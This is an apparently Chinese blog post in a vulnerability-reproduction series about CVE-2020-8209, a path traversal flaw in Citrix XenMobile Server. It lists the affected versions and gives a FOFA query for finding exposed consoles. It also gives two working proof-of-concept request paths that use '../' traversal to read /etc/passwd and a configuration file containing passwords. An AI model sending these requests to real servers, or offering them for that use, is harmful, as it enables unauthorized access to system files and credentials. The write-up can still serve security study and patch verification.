CVE-2020-8209（Citrix Endpoint Management ）XenMobile-控制台存在任意文件读取漏洞

Min1996

于 2020-11-21 14:47:32 发布

阅读量407

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现

本文链接：https://blog.youkuaiyun.com/weixin_44508748/article/details/109897863

漏洞复现专栏收录该内容

21 篇文章

订阅专栏

本文介绍了一个影响Citrix XenMobile Server的路径遍历漏洞CVE-2020-8209，该漏洞使未经授权的用户能读取系统上的任意文件。受影响的版本包括10.12之前的所有版本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

CVE-2020-8209，路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件，包括包含密码的配置文件。（该软件国外居多，国内基本很少）
RP2之前的Citrix XenMobile Server 10.12，RP4之前的Citrix XenMobile Server 10.11，RP6之前的Citrix XenMobile Server 10.10和Citrix XenMobile Server 10.9 RP5之前的访问控制不当，从而导致能够读取任意文件。

影响版本

RP2之前的XenMobile服务器10.12
RP4之前的XenMobile服务器10.11
RP6之前的XenMobile服务器10.10
10.9 RP5之前的XenMobile服务器

0x02 FOFA语法

app="XenMobile-控制台"

在这里插入图片描述

漏洞复现

POC:

/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/sw/config/sftu.properties

在这里插入图片描述